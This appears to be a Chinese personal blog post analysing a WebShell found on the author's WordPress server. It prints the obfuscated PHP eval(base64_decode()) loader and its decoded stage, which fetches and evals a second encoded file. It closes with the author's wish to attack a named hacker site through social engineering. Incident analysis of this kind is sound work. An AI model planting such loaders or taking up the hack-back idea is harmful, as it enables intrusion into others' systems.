网站被攻击记录及解密过程

4月12日凌晨1点左右,在手机上收到阿里云的短信通知,被告知在后台发现WebShell文件,在宿舍用舍友的电脑登录阿里云后台直接隔离了此文件,修复了漏洞,开启了阿里云后台的防勒索、病毒防御、网页防篡改、云原生防火墙功能。安心睡觉。

分析及解密过程

但同一天早上12点左右登录网站后台时,发现阿里云后台弹出两条紧急安全告警如下:

两个在09:49:08发生的载荷投递云安全专家团队基于对黑客入侵过程的分析,将入侵过程分解为从攻击入口、权限提升、横向移动、数据泄露等十大节点,入侵节点越往后您的业务和数据被破坏、盗取的可能性越高

本可以在阿里云后台一键处理该类型的文件,以及防御攻击。出于学习的想法(搞清楚我是怎么被攻击的,以及如何防御(没钱买云防火墙)),进行以下操作:

阿里云后台查看Webshell文件位置:

得知此文件路径:

/www/wwwroot/tsras.com/wp-content/plugins/word-press/includes/wp-load.php

xshell进入服务器后台,cat命令查看该文件内容:

此文件完整内容为:

<?php eval(base64_decode('CiBnb3RvIFJMc0tVOyBSTHNLVTogJHggPSBmaWxlX2dldF9jb250ZW50cygiXHgzMFx4NzhceDY1XDE1NlwxNDNceDYyXHg2MVwxNjNceDY1XDU2XDE1Mlx4NzMiKTsgZ290byBqZXBYZjsgamVwWGY6IGV2YWwoYmFzZTY0X2RlY29kZSgkeCkpOyBnb3RvIGlfOHE0OyBpXzhxNDog')); ?>

可以发现其中:base64_decode是对字符串进行base64解码操作(base64加密原理

我们进行一样的操作,把这坨乱七八糟的东西解码:

其他加密方法例如:MD5加密算法异或加密解密DES加密解密AES自动生成base64密钥加密解密AES加密解密(ECB模式)AES加密解密(CBC模式)非对称RSA加密解密

解码后得到的php代码、并格式化后如下

goto RLsKU;
RLsKU: $x = file_get_contents("\x30\x78\x65\156\143\x62\x61\163\x65\56\152\x73");
goto jepXf;
jepXf: eval(base64_decode($x));
goto i_8q4;
i_8q4:

可以发现这也是一段为了加密而写代码这里把它记作:加密代码段

php中goto语句的使用具有限制:只能在同一个文件和作用域中跳转,无法跳出一个函数或者类方法,也无法跳入另一个函数,更无法跳入任何循环或者switch结构中。

file_get_contents函数的参数如下:

对file_get_contents中“”里的内容继续解码:

到这一步,看到了一个十分眼熟的东西!0xencbase.js

cat查看0xencbase.js文件内容:

第二次base64解码

根据这一大串乱码的最后的两个==判断此处依旧为base64编码后的字符串

goto RLsKU;
RLsKU: $x = file_get_contents("\x30\x78\x65\156\143\x62\x61\163\x65\56\152\x73");
goto jepXf;
jepXf: eval(base64_decode($x));

结合上面的加密代码段分析出:

$x就是0xencbase.js的内容

jepXf: eval(base64_decode($x));是对$x再进行base64解码

加密就是不断编码,解密就是不断解码
他加密了,我就解密
于是对$x也就是0xencbase.js的内容再进行解码,得到一个2300行左右的js代码

结果

源代码由于安全问题无法上传,代码功能就是不断更换公网ip,ssh暴力破解网站后台登录密码。

不仅如此!在代码中发现一个网站:http://www.zone-h.org/

此网站本质是一个黑客社区,他们在攻击网站后,会把它们的攻击情况放在此网站上,包括但不限于SSH暴力破解,网页篡改,勒索。

以下是他们的数据统计面板,(共攻击了1456万个网站、暂停攻击46万个):

之后随便在他们的攻击网站清单上查看一个被攻击的网站页面如下(已打码并删除吓人图片):

(未更新完)

(很想学社会工程学 干掉这个网站)

标签: